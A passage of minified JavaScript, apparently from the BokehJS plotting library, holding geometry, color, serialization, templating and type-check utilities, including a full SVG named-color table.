this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxY\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"left\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"top\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"right\\\",{get:function(){return this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"bottom\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p0\\\",{get:function(){return[this.x0,this.y0]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p1\\\",{get:function(){return[this.x1,this.y1]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"x\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"y\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"width\\\",{get:function(){return this.x1-this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"height\\\",{get:function(){return this.y1-this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"rect\\\",{get:function(){return{x:this.x,y:this.y,width:this.width,height:this.height}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"h_range\\\",{get:function(){return{start:this.x0,end:this.x1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"v_range\\\",{get:function(){return{start:this.y0,end:this.y1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"ranges\\\",{get:function(){return[this.h_range,this.v_range]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"aspect\\\",{get:function(){return this.width/this.height},enumerable:!0,configurable:!0}),e.prototype.contains=function(t,e){return t>=this.x0&&t<=this.x1&&e>=this.y0&&e<=this.y1},e.prototype.clip=function(t,e){return t<this.x0?t=this.x0:t>this.x1&&(t=this.x1),e<this.y0?e=this.y0:e>this.y1&&(e=this.y1),[t,e]},e.prototype.union=function(t){return new e({x0:n(this.x0,t.x0),y0:n(this.y0,t.y0),x1:r(this.x1,t.x1),y1:r(this.y1,t.y1)})},e}();i.BBox=o},function(t,e,i){i.delay=function(t,e){return setTimeout(t,e)};var n=\\\"function\\\"==typeof requestAnimationFrame?requestAnimationFrame:setImmediate;i.defer=function(t){return n(t)},i.throttle=function(i,n,r){void 0===r&&(r={});var o,s,a,l=null,h=0,u=function(){h=!1===r.leading?0:Date.now(),l=null,a=i.apply(o,s),l||(o=s=null)};return function(){var t=Date.now();h||!1!==r.leading||(h=t);var e=n-(t-h);return o=this,s=arguments,e<=0||n<e?(l&&(clearTimeout(l),l=null),h=t,a=i.apply(o,s),l||(o=s=null)):l||!1===r.trailing||(l=setTimeout(u,e)),a}},i.once=function(t){var e,i=!1;return function(){return i||(i=!0,e=t()),e}}},function(t,e,i){var n=t(287);i.SVGRenderingContext2D=n,i.fixup_ctx=function(t){var e,c,i,n,r;(e=t).setLineDash||(e.setLineDash=function(t){e.mozDash=t,e.webkitLineDash=t}),e.getLineDash||(e.getLineDash=function(){return e.mozDash}),(r=t).setLineDashOffset=function(t){r.lineDashOffset=t,r.mozDashOffset=t,r.webkitLineDashOffset=t},r.getLineDashOffset=function(){return r.mozDashOffset},(n=t).setImageSmoothingEnabled=function(t){n.imageSmoothingEnabled=t,n.mozImageSmoothingEnabled=t,n.oImageSmoothingEnabled=t,n.webkitImageSmoothingEnabled=t,n.msImageSmoothingEnabled=t},n.getImageSmoothingEnabled=function(){var t=n.imageSmoothingEnabled;return null==t||t},(i=t).measureText&&null==i.html5MeasureText&&(i.html5MeasureText=i.measureText,i.measureText=function(t){var e=i.html5MeasureText(t);return e.ascent=1.6*i.html5MeasureText(\\\"m\\\").width,e}),(c=t).ellipse||(c.ellipse=function(t,e,i,n,r,o,s,a){void 0===a&&(a=!1);var l=.551784;c.translate(t,e),c.rotate(r);var h=i,u=n;a&&(h=-i,u=-n),c.moveTo(-h,0),c.bezierCurveTo(-h,u*l,-h*l,u,0,u),c.bezierCurveTo(h*l,u,h,u*l,h,0),c.bezierCurveTo(h,-u*l,h*l,-u,0,-u),c.bezierCurveTo(-h*l,-u,-h,-u*l,-h,0),c.rotate(-r),c.translate(-t,-e)})},i.get_scale_ratio=function(t,e,i){if(\\\"svg\\\"==i)return 1;if(e){var n=window.devicePixelRatio||1,r=t.webkitBackingStorePixelRatio||t.mozBackingStorePixelRatio||t.msBackingStorePixelRatio||t.oBackingStorePixelRatio||t.backingStorePixelRatio||1;return n/r}return 1}},function(t,e,i){var n=t(39),r=t(21);function o(t){var e=Number(t).toString(16);return 1==e.length?\\\"0\\\"+e:e}function s(t){if(0==(t+=\\\"\\\").indexOf(\\\"#\\\"))return t;if(n.is_svg_color(t))return n.svg_colors[t];if(0==t.indexOf(\\\"rgb\\\")){var e=t.replace(/^rgba?\\\\(|\\\\s+|\\\\)$/g,\\\"\\\").split(\\\",\\\"),i=e.slice(0,3).map(o).join(\\\"\\\");return 4==e.length&&(i+=o(Math.floor(255*parseFloat(e[3])))),\\\"#\\\"+i.slice(0,8)}return t}i.color2hex=s,i.color2rgba=function(t,e){if(void 0===e&&(e=1),!t)return[0,0,0,0];var i=s(t);(i=i.replace(/ |#/g,\\\"\\\")).length<=4&&(i=i.replace(/(.)/g,\\\"$1$1\\\"));for(var n=i.match(/../g).map(function(t){return parseInt(t,16)/255});n.length<3;)n.push(0);return n.length<4&&n.push(e),n.slice(0,4)},i.valid_rgb=function(t){var e;switch(t.substring(0,4)){case\\\"rgba\\\":e={start:\\\"rgba(\\\",len:4,alpha:!0};break;case\\\"rgb(\\\":e={start:\\\"rgb(\\\",len:3,alpha:!1};break;default:return!1}if(new RegExp(\\\".*?(\\\\\\\\.).*(,)\\\").test(t))throw new Error(\\\"color expects integers for rgb in rgb/rgba tuple, received \\\"+t);var i=t.replace(e.start,\\\"\\\").replace(\\\")\\\",\\\"\\\").split(\\\",\\\").map(parseFloat);if(i.length!=e.len)throw new Error(\\\"color expects rgba \\\"+e.len+\\\"-tuple, received \\\"+t);if(e.alpha&&!(0<=i[3]&&i[3]<=1))throw new Error(\\\"color expects rgba 4-tuple to have alpha value between 0 and 1\\\");if(r.includes(i.slice(0,3).map(function(t){return 0<=t&&t<=255}),!1))throw new Error(\\\"color expects rgb to have value between 0 and 255\\\");return!0}},function(t,e,i){i.is_ie=0<=navigator.userAgent.indexOf(\\\"MSIE\\\")||0<navigator.userAgent.indexOf(\\\"Trident\\\")||0<navigator.userAgent.indexOf(\\\"Edge\\\"),i.is_little_endian=function(){var t=new ArrayBuffer(4),e=new Uint8Array(t),i=new Uint32Array(t);i[1]=168496141;var n=!0;return 10==e[4]&&11==e[5]&&12==e[6]&&13==e[7]&&(n=!1),n}()},function(t,e,i){var r=t(21),o=t(30),s=t(44),n=function(){function t(){this._dict={}}return t.prototype._existing=function(t){return t in this._dict?this._dict[t]:null},t.prototype.add_value=function(t,e){var i=this._existing(t);null==i?this._dict[t]=e:s.isArray(i)?i.push(e):this._dict[t]=[i,e]},t.prototype.remove_value=function(t,e){var i=this._existing(t);if(s.isArray(i)){var n=r.difference(i,[e]);0<n.length?this._dict[t]=n:delete this._dict[t]}else o.isEqual(i,e)&&delete this._dict[t]},t.prototype.get_one=function(t,e){var i=this._existing(t);if(s.isArray(i)){if(1===i.length)return i[0];throw new Error(e)}return i},t}();i.MultiDict=n;var a=function(){function o(t){if(null==t)this._values=[];else if(t instanceof o)this._values=r.copy(t._values);else{this._values=[];for(var e=0,i=t;e<i.length;e++){var n=i[e];this.add(n)}}}return Object.defineProperty(o.prototype,\\\"values\\\",{get:function(){return r.copy(this._values).sort()},enumerable:!0,configurable:!0}),o.prototype.toString=function(){return\\\"Set([\\\"+this.values.join(\\\",\\\")+\\\"])\\\"},Object.defineProperty(o.prototype,\\\"size\\\",{get:function(){return this._values.length},enumerable:!0,configurable:!0}),o.prototype.has=function(t){return-1!==this._values.indexOf(t)},o.prototype.add=function(t){this.has(t)||this._values.push(t)},o.prototype.remove=function(t){var e=this._values.indexOf(t);-1!==e&&this._values.splice(e,1)},o.prototype.toggle=function(t){var e=this._values.indexOf(t);-1===e?this._values.push(t):this._values.splice(e,1)},o.prototype.clear=function(){this._values=[]},o.prototype.union=function(t){return t=new o(t),new o(this._values.concat(t._values))},o.prototype.intersect=function(t){t=new o(t);for(var e=new o,i=0,n=t._values;i<n.length;i++){var r=n[i];this.has(r)&&t.has(r)&&e.add(r)}return e},o.prototype.diff=function(t){t=new o(t);for(var e=new o,i=0,n=this._values;i<n.length;i++){var r=n[i];t.has(r)||e.add(r)}return e},o.prototype.forEach=function(t,e){for(var i=0,n=this._values;i<n.length;i++){var r=n[i];t.call(e||this,r,r,this)}},o}();i.Set=a},function(t,e,i){var _=t(44),p=Object.prototype.toString;i.isEqual=function(t,e){return function t(e,i,n,r){if(e===i)return 0!==e||1/e==1/i;if(null==e||null==i)return e===i;var o=p.call(e);if(o!==p.call(i))return!1;switch(o){case\\\"[object RegExp]\\\":case\\\"[object String]\\\":return\\\"\\\"+e==\\\"\\\"+i;case\\\"[object Number]\\\":return+e!=+e?+i!=+i:0==+e?1/+e==1/i:+e==+i;case\\\"[object Date]\\\":case\\\"[object Boolean]\\\":return+e==+i}var s=\\\"[object Array]\\\"===o;if(!s){if(\\\"object\\\"!=typeof e||\\\"object\\\"!=typeof i)return!1;var a=e.constructor,l=i.constructor;if(a!==l&&!(_.isFunction(a)&&a instanceof a&&_.isFunction(l)&&l instanceof l)&&\\\"constructor\\\"in e&&\\\"constructor\\\"in i)return!1}r=r||[];for(var h=(n=n||[]).length;h--;)if(n[h]===e)return r[h]===i;if(n.push(e),r.push(i),s){if((h=e.length)!==i.length)return!1;for(;h--;)if(!t(e[h],i[h],n,r))return!1}else{var u=Object.keys(e),c=void 0;if(h=u.length,Object.keys(i).length!==h)return!1;for(;h--;)if(c=u[h],!i.hasOwnProperty(c)||!t(e[c],i[c],n,r))return!1}return n.pop(),r.pop(),!0}(t,e)}},function(t,e,i){function a(t){for(;t<0;)t+=2*Math.PI;for(;t>2*Math.PI;)t-=2*Math.PI;return t}function l(t,e){return Math.abs(a(t-e))}function o(){return Math.random()}i.angle_norm=a,i.angle_dist=l,i.angle_between=function(t,e,i,n){var r=a(t),o=l(e,i),s=l(e,r)<=o&&l(r,i)<=o;return 1==n?!s:s},i.random=o,i.randomIn=function(t,e){return null==e&&(e=t,t=0),t+Math.floor(Math.random()*(e-t+1))},i.atan2=function(t,e){return Math.atan2(e[1]-t[1],e[0]-t[0])},i.rnorm=function(t,e){for(var i,n;i=o(),n=(2*(n=o())-1)*Math.sqrt(1/Math.E*2),!(-4*i*i*Math.log(i)>=n*n););var r=n/i;return r=t+e*r},i.clamp=function(t,e,i){return i<t?i:t<e?e:t}},function(t,e,i){var n=t(391),h=t(21);function r(t,e){return n.__assign(t,e)}function o(t){return Object.keys(t).length}i.keys=Object.keys,i.values=function(t){for(var e=Object.keys(t),i=e.length,n=new Array(i),r=0;r<i;r++)n[r]=t[e[r]];return n},i.extend=r,i.clone=function(t){return r({},t)},i.merge=function(t,e){for(var i=Object.create(Object.prototype),n=h.concat([Object.keys(t),Object.keys(e)]),r=0,o=n;r<o.length;r++){var s=o[r],a=t.hasOwnProperty(s)?t[s]:[],l=e.hasOwnProperty(s)?e[s]:[];i[s]=h.union(a,l)}return i},i.size=o,i.isEmpty=function(t){return 0===o(t)}},function(t,e,h){var i=t(374),n=t(362),r=new n(\\\"GOOGLE\\\"),o=new n(\\\"WGS84\\\");h.wgs84_mercator=i(o,r);var s={lon:[-20026376.39,20026376.39],lat:[-20048966.1,20048966.1]},a={lon:[-180,180],lat:[-85.06,85.06]};function u(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=h.wgs84_mercator.forward([t[o],e[o]]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}h.clip_mercator=function(t,e,i){var n=s[i],r=n[0],o=n[1];return[Math.max(t,r),Math.min(e,o)]},h.in_bounds=function(t,e){return t>a[e][0]&&t<a[e][1]},h.project_xy=u,h.project_xsys=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=u(t[o],e[o]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}},function(t,e,i){var n=t(44);i.create_ref=function(t){var e={type:t.type,id:t.id};return null!=t._subtype&&(e.subtype=t._subtype),e},i.is_ref=function(t){if(n.isObject(t)){var e=Object.keys(t).sort();if(2==e.length)return\\\"id\\\"==e[0]&&\\\"type\\\"==e[1];if(3==e.length)return\\\"id\\\"==e[0]&&\\\"subtype\\\"==e[1]&&\\\"type\\\"==e[2]}return!1}},function(t,e,i){i.get_indices=function(t){var e=t.selected;return e[\\\"0d\\\"].glyph?e[\\\"0d\\\"].indices:0<e[\\\"1d\\\"].indices.length?e[\\\"1d\\\"].indices:0<e[\\\"2d\\\"].indices.length?e[\\\"2d\\\"].indices:[]}},function(t,e,u){var _=t(44),i=t(28);function c(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,2*t.length),i=0,n=e.length;i<n;i+=2){var r=e[i];e[i]=e[i+1],e[i+1]=r}}function p(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,4*t.length),i=0,n=e.length;i<n;i+=4){var r=e[i];e[i]=e[i+3],e[i+3]=r,r=e[i+1],e[i+1]=e[i+2],e[i+2]=r}}function d(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,8*t.length),i=0,n=e.length;i<n;i+=8){var r=e[i];e[i]=e[i+7],e[i+7]=r,r=e[i+1],e[i+1]=e[i+6],e[i+6]=r,r=e[i+2],e[i+2]=e[i+5],e[i+5]=r,r=e[i+3],e[i+3]=e[i+4],e[i+4]=r}}function n(t,e){for(var i=t.order!==u.BYTE_ORDER,n=t.shape,r=null,o=0,s=e;o<s.length;o++){var a=s[o],l=JSON.parse(a[0]);if(l.id===t.__buffer__){r=a[1];break}}var h=new u.ARRAY_TYPES[t.dtype](r);return i&&(2===h.BYTES_PER_ELEMENT?c(h):4===h.BYTES_PER_ELEMENT?p(h):8===h.BYTES_PER_ELEMENT&&d(h)),[h,n]}function f(t,e){return _.isObject(t)&&\\\"__ndarray__\\\"in t?o(t):_.isObject(t)&&\\\"__buffer__\\\"in t?n(t,e):_.isArray(t)||_.isTypedArray(t)?[t,[]]:void 0}function s(t){var e=new Uint8Array(t),i=Array.from(e).map(function(t){return String.fromCharCode(t)});return btoa(i.join(\\\"\\\"))}function r(t){for(var e=atob(t),i=e.length,n=new Uint8Array(i),r=0,o=i;r<o;r++)n[r]=e.charCodeAt(r);return n.buffer}function o(t){var e=r(t.__ndarray__),i=t.dtype,n=t.shape;if(!(i in u.ARRAY_TYPES))throw new Error(\\\"unknown dtype: \\\"+i);return[new u.ARRAY_TYPES[i](e),n]}function a(t,e){var i,n=s(t.buffer),r=function(t){if(\\\"name\\\"in t.constructor)return t.constructor.name;switch(!0){case t instanceof Uint8Array:return\\\"Uint8Array\\\";case t instanceof Int8Array:return\\\"Int8Array\\\";case t instanceof Uint16Array:return\\\"Uint16Array\\\";case t instanceof Int16Array:return\\\"Int16Array\\\";case t instanceof Uint32Array:return\\\"Uint32Array\\\";case t instanceof Int32Array:return\\\"Int32Array\\\";case t instanceof Float32Array:return\\\"Float32Array\\\";case t instanceof Float64Array:return\\\"Float64Array\\\";default:throw new Error(\\\"unsupported typed array\\\")}}(t);if(!(r in u.DTYPES))throw new Error(\\\"unknown array type: \\\"+r);i=u.DTYPES[r];var o={__ndarray__:n,shape:e,dtype:i};return o}function v(t,e){if(0==t.length||!_.isObject(t[0])&&!_.isArray(t[0]))return[t,[]];for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=_.isArray(s)?v(s,e):f(s,e),l=a[0],h=a[1];i.push(l),n.push(h)}var u=n.map(function(t){return t.filter(function(t){return 0!=t.length})});return[i,u]}function l(t,e){for(var i=[],n=0,r=t.length;n<r;n++){var o=t[n];if(_.isTypedArray(o)){var s=e[n]?e[n]:void 0;i.push(a(o,s))}else _.isArray(o)?i.push(l(o,e?e[n]:[])):i.push(o)}return i}u.ARRAY_TYPES={uint8:Uint8Array,int8:Int8Array,uint16:Uint16Array,int16:Int16Array,uint32:Uint32Array,int32:Int32Array,float32:Float32Array,float64:Float64Array},u.DTYPES={Uint8Array:\\\"uint8\\\",Int8Array:\\\"int8\\\",Uint16Array:\\\"uint16\\\",Int16Array:\\\"int16\\\",Uint32Array:\\\"uint32\\\",Int32Array:\\\"int32\\\",Float32Array:\\\"float32\\\",Float64Array:\\\"float64\\\"},u.BYTE_ORDER=i.is_little_endian?\\\"little\\\":\\\"big\\\",u.swap16=c,u.swap32=p,u.swap64=d,u.process_buffer=n,u.process_array=f,u.arrayBufferToBase64=s,u.base64ToArrayBuffer=r,u.decode_base64=o,u.encode_base64=a,u.decode_column_data=function(t,e){void 0===e&&(e=[]);var i={},n={};for(var r in t){var o=t[r];if(_.isArray(o)){if(0==o.length||!_.isObject(o[0])&&!_.isArray(o[0])){i[r]=o;continue}var s=v(o,e),a=s[0],l=s[1];i[r]=a,n[r]=l}else{var h=f(o,e),u=h[0],c=h[1];i[r]=u,n[r]=c}}return[i,n]},u.encode_column_data=function(t,e){var i={};for(var n in t){var r=t[n],o=null!=e?e[n]:void 0,s=void 0;s=_.isTypedArray(r)?a(r,o):_.isArray(r)?l(r,o||[]):r,i[n]=s}return i}},function(t,e,i){var l=t(346),o=t(24),n=function(){function t(t){if(this.points=t,this.index=null,0<t.length){this.index=new l(t.length);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n.minX,o=n.minY,s=n.maxX,a=n.maxY;this.index.add(r,o,s,a)}this.index.finish()}}return Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){if(null==this.index)return o.empty();var t=this.index,e=t.minX,i=t.minY,n=t.maxX,r=t.maxY;return{minX:e,minY:i,maxX:n,maxY:r}},enumerable:!0,configurable:!0}),t.prototype.search=function(t){var e=this;if(null==this.index)return[];var i=t.minX,n=t.minY,r=t.maxX,o=t.maxY,s=this.index.search(i,n,r,o);return s.map(function(t){return e.points[t]})},t.prototype.indices=function(t){return this.search(t).map(function(t){var e=t.i;return e})},t}();i.SpatialIndex=n},function(t,e,i){var n=t(18);function r(){for(var t=new Array(32),e=\\\"0123456789ABCDEF\\\",i=0;i<32;i++)t[i]=e.substr(Math.floor(16*Math.random()),1);return t[12]=\\\"4\\\",t[16]=e.substr(3&t[16].charCodeAt(0)|8,1),t.join(\\\"\\\")}i.startsWith=function(t,e,i){return void 0===i&&(i=0),t.substr(i,e.length)==e},i.uuid4=r;var o=1e3;i.uniqueId=function(t){var e=n.settings.dev?\\\"j\\\"+o++:r();return null!=t?t+\\\"-\\\"+e:e},i.escape=function(t){return t.replace(/(?:[&<>\\\"'`])/g,function(t){switch(t){case\\\"&\\\":return\\\"&amp;\\\";case\\\"<\\\":return\\\"&lt;\\\";case\\\">\\\":return\\\"&gt;\\\";case'\\\"':return\\\"&quot;\\\";case\\\"'\\\":return\\\"&#x27;\\\";case\\\"`\\\":return\\\"&#x60;\\\";default:return t}})},i.unescape=function(t){return t.replace(/&(amp|lt|gt|quot|#x27|#x60);/g,function(t,e){switch(e){case\\\"amp\\\":return\\\"&\\\";case\\\"lt\\\":return\\\"<\\\";case\\\"gt\\\":return\\\">\\\";case\\\"quot\\\":return'\\\"';case\\\"#x27\\\":return\\\"'\\\";case\\\"#x60\\\":return\\\"`\\\";default:return e}})},i.use_strict=function(t){return\\\"'use strict';\\\\n\\\"+t}},function(t,e,i){i.svg_colors={indianred:\\\"#CD5C5C\\\",lightcoral:\\\"#F08080\\\",salmon:\\\"#FA8072\\\",darksalmon:\\\"#E9967A\\\",lightsalmon:\\\"#FFA07A\\\",crimson:\\\"#DC143C\\\",red:\\\"#FF0000\\\",firebrick:\\\"#B22222\\\",darkred:\\\"#8B0000\\\",pink:\\\"#FFC0CB\\\",lightpink:\\\"#FFB6C1\\\",hotpink:\\\"#FF69B4\\\",deeppink:\\\"#FF1493\\\",mediumvioletred:\\\"#C71585\\\",palevioletred:\\\"#DB7093\\\",coral:\\\"#FF7F50\\\",tomato:\\\"#FF6347\\\",orangered:\\\"#FF4500\\\",darkorange:\\\"#FF8C00\\\",orange:\\\"#FFA500\\\",gold:\\\"#FFD700\\\",yellow:\\\"#FFFF00\\\",lightyellow:\\\"#FFFFE0\\\",lemonchiffon:\\\"#FFFACD\\\",lightgoldenrodyellow:\\\"#FAFAD2\\\",papayawhip:\\\"#FFEFD5\\\",moccasin:\\\"#FFE4B5\\\",peachpuff:\\\"#FFDAB9\\\",palegoldenrod:\\\"#EEE8AA\\\",khaki:\\\"#F0E68C\\\",darkkhaki:\\\"#BDB76B\\\",lavender:\\\"#E6E6FA\\\",thistle:\\\"#D8BFD8\\\",plum:\\\"#DDA0DD\\\",violet:\\\"#EE82EE\\\",orchid:\\\"#DA70D6\\\",fuchsia:\\\"#FF00FF\\\",magenta:\\\"#FF00FF\\\",mediumorchid:\\\"#BA55D3\\\",mediumpurple:\\\"#9370DB\\\",blueviolet:\\\"#8A2BE2\\\",darkviolet:\\\"#9400D3\\\",darkorchid:\\\"#9932CC\\\",darkmagenta:\\\"#8B008B\\\",purple:\\\"#800080\\\",indigo:\\\"#4B0082\\\",slateblue:\\\"#6A5ACD\\\",darkslateblue:\\\"#483D8B\\\",mediumslateblue:\\\"#7B68EE\\\",greenyellow:\\\"#ADFF2F\\\",chartreuse:\\\"#7FFF00\\\",lawngreen:\\\"#7CFC00\\\",lime:\\\"#00FF00\\\",limegreen:\\\"#32CD32\\\",palegreen:\\\"#98FB98\\\",lightgreen:\\\"#90EE90\\\",mediumspringgreen:\\\"#00FA9A\\\",springgreen:\\\"#00FF7F\\\",mediumseagreen:\\\"#3CB371\\\",seagreen:\\\"#2E8B57\\\",forestgreen:\\\"#228B22\\\",green:\\\"#008000\\\",darkgreen:\\\"#006400\\\",yellowgreen:\\\"#9ACD32\\\",olivedrab:\\\"#6B8E23\\\",olive:\\\"#808000\\\",darkolivegreen:\\\"#556B2F\\\",mediumaquamarine:\\\"#66CDAA\\\",darkseagreen:\\\"#8FBC8F\\\",lightseagreen:\\\"#20B2AA\\\",darkcyan:\\\"#008B8B\\\",teal:\\\"#008080\\\",aqua:\\\"#00FFFF\\\",cyan:\\\"#00FFFF\\\",lightcyan:\\\"#E0FFFF\\\",paleturquoise:\\\"#AFEEEE\\\",aquamarine:\\\"#7FFFD4\\\",turquoise:\\\"#40E0D0\\\",mediumturquoise:\\\"#48D1CC\\\",darkturquoise:\\\"#00CED1\\\",cadetblue:\\\"#5F9EA0\\\",steelblue:\\\"#4682B4\\\",lightsteelblue:\\\"#B0C4DE\\\",powderblue:\\\"#B0E0E6\\\",lightblue:\\\"#ADD8E6\\\",skyblue:\\\"#87CEEB\\\",lightskyblue:\\\"#87CEFA\\\",deepskyblue:\\\"#00BFFF\\\",dodgerblue:\\\"#1E90FF\\\",cornflowerblue:\\\"#6495ED\\\",royalblue:\\\"#4169E1\\\",blue:\\\"#0000FF\\\",mediumblue:\\\"#0000CD\\\",darkblue:\\\"#00008B\\\",navy:\\\"#000080\\\",midnightblue:\\\"#191970\\\",cornsilk:\\\"#FFF8DC\\\",blanchedalmond:\\\"#FFEBCD\\\",bisque:\\\"#FFE4C4\\\",navajowhite:\\\"#FFDEAD\\\",wheat:\\\"#F5DEB3\\\",burlywood:\\\"#DEB887\\\",tan:\\\"#D2B48C\\\",rosybrown:\\\"#BC8F8F\\\",sandybrown:\\\"#F4A460\\\",goldenrod:\\\"#DAA520\\\",darkgoldenrod:\\\"#B8860B\\\",peru:\\\"#CD853F\\\",chocolate:\\\"#D2691E\\\",saddlebrown:\\\"#8B4513\\\",sienna:\\\"#A0522D\\\",brown:\\\"#A52A2A\\\",maroon:\\\"#800000\\\",white:\\\"#FFFFFF\\\",snow:\\\"#FFFAFA\\\",honeydew:\\\"#F0FFF0\\\",mintcream:\\\"#F5FFFA\\\",azure:\\\"#F0FFFF\\\",aliceblue:\\\"#F0F8FF\\\",ghostwhite:\\\"#F8F8FF\\\",whitesmoke:\\\"#F5F5F5\\\",seashell:\\\"#FFF5EE\\\",beige:\\\"#F5F5DC\\\",oldlace:\\\"#FDF5E6\\\",floralwhite:\\\"#FFFAF0\\\",ivory:\\\"#FFFFF0\\\",antiquewhite:\\\"#FAEBD7\\\",linen:\\\"#FAF0E6\\\",lavenderblush:\\\"#FFF0F5\\\",mistyrose:\\\"#FFE4E1\\\",gainsboro:\\\"#DCDCDC\\\",lightgray:\\\"#D3D3D3\\\",lightgrey:\\\"#D3D3D3\\\",silver:\\\"#C0C0C0\\\",darkgray:\\\"#A9A9A9\\\",darkgrey:\\\"#A9A9A9\\\",gray:\\\"#808080\\\",grey:\\\"#808080\\\",dimgray:\\\"#696969\\\",dimgrey:\\\"#696969\\\",lightslategray:\\\"#778899\\\",lightslategrey:\\\"#778899\\\",slategray:\\\"#708090\\\",slategrey:\\\"#708090\\\",darkslategray:\\\"#2F4F4F\\\",darkslategrey:\\\"#2F4F4F\\\",black:\\\"#000000\\\"},i.is_svg_color=function(t){return t in i.svg_colors}},function(t,e,s){var r=t(389),n=t(361),o=t(390),_=t(38),a=t(44);function l(t,e,i){if(a.isNumber(t)){var n=function(){switch(!1){case Math.floor(t)!=t:return\\\"%d\\\";case!(.1<Math.abs(t)&&Math.abs(t)<1e3):return\\\"%0.3f\\\";default:return\\\"%0.3e\\\"}}();return r.sprintf(n,t)}return\\\"\\\"+t}function p(t,e,i,n){if(null==i)return l;if(null!=n&&(t in n||e in n)){var r=e in n?e:t,o=n[r];if(a.isString(o)){if(o in s.DEFAULT_FORMATTERS)return s.DEFAULT_FORMATTERS[o];throw new Error(\\\"Unknown tooltip field formatter type '\\\"+o+\\\"'\\\")}return function(t,e,i){return o.format(t,e,i)}}return s.DEFAULT_FORMATTERS.numeral}function d(t,e,i,n){if(\\\"$\\\"==t[0]){if(t.substring(1)in n)return n[t.substring(1)];throw new Error(\\\"Unknown special variable '\\\"+t+\\\"'\\\")}var r=e.get_column(t);if(null==r)return null;if(a.isNumber(i))return r[i];var o=r[i.index];if(a.isTypedArray(o)||a.isArray(o)){if(a.isArray(o[0])){var s=o[i.dim2];return s[i.dim1]}return o[i.flat_index]}return o}s.DEFAULT_FORMATTERS={numeral:function(t,e,i){return n.format(t,e)},datetime:function(t,e,i){return o(t,e)},printf:function(t,e,i){return r.sprintf(e,t)}},s.basic_formatter=l,s.get_formatter=p,s.get_value=d,s.replace_placeholders=function(t,a,l,h,u){void 0===u&&(u={});var c=t.replace(/(?:^|[^@])([@|\\\\$](?:\\\\w+|{[^{}]+}))(?:{[^{}]+})?/g,function(t,e,i){return\\\"\\\"+e});return t=(t=(t=t.replace(/@\\\\$name/g,function(t){return\\\"@{\\\"+u.name+\\\"}\\\"})).replace(/(^|[^\\\\$])\\\\$(\\\\w+)/g,function(t,e,i){return e+\\\"@$\\\"+i})).replace(/(^|[^@])@(?:(\\\\$?\\\\w+)|{([^{}]+)})(?:{([^{}]+)})?/g,function(t,e,i,n,r){var o=d(i=null!=n?n:i,a,l,u);if(null==o)return\\\"\\\"+e+_.escape(\\\"???\\\");if(\\\"safe\\\"==r)return\\\"\\\"+e+o;var s=p(i,c,r,h);return\\\"\\\"+e+_.escape(s(o,r,u))})}},function(t,e,i){var a=t(5),l={};i.get_text_height=function(t){if(null!=l[t])return l[t];var e=a.span({style:{font:t}},\\\"Hg\\\"),i=a.div({style:{display:\\\"inline-block\\\",width:\\\"1px\\\",height:\\\"0px\\\"}}),n=a.div({},e,i);document.body.appendChild(n);try{i.style.verticalAlign=\\\"baseline\\\";var r=a.offset(i).top-a.offset(e).top;i.style.verticalAlign=\\\"bottom\\\";var o=a.offset(i).top-a.offset(e).top,s={height:o,ascent:r,descent:o-r};return l[t]=s}finally{document.body.removeChild(n)}}},function(t,e,i){var a=(\\\"undefined\\\"!=typeof window?window.requestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.webkitRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.mozRequestAnimationFrame:void 0)||(\\\"undefined\\\"!=typeof window?window.msRequestAnimationFrame:void 0)||function(t){return t(Date.now()),-1};i.throttle=function(t,i){var n=null,r=0,o=!1,s=function(){r=Date.now(),n=null,o=!1,t()};return function(){var t=Date.now(),e=i-(t-r);e<=0&&!o?(null!=n&&clearTimeout(n),o=!0,a(s)):n||o||(n=setTimeout(function(){return a(s)},e))}}},function(t,e,i){i.concat=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.length,r=0,o=e;r<o.length;r++){var s=o[r];n+=s.length}var a=new t.constructor(n);a.set(t,0);for(var l=t.length,h=0,u=e;h<u.length;h++){var s=u[h];a.set(s,l),l+=s.length}return a}},function(t,e,i){var n=t(21),r=Object.prototype.toString;function o(t){return\\\"[object Number]\\\"===r.call(t)}function s(t){var e=typeof t;return\\\"function\\\"===e||\\\"object\\\"===e&&!!t}i.isBoolean=function(t){return!0===t||!1===t||\\\"[object Boolean]\\\"===r.call(t)},i.isNumber=o,i.isInteger=function(t){return o(t)&&isFinite(t)&&Math.floor(t)===t},i.isString=function(t){return\\\"[object String]\\\"===r.call(t)},i.isStrictNaN=function(t){return o(t)&&t!==+t},i.isFunction=function(t){return\\\"[object Function]\\\"===r.call(t)},i.isArray=function(t){return 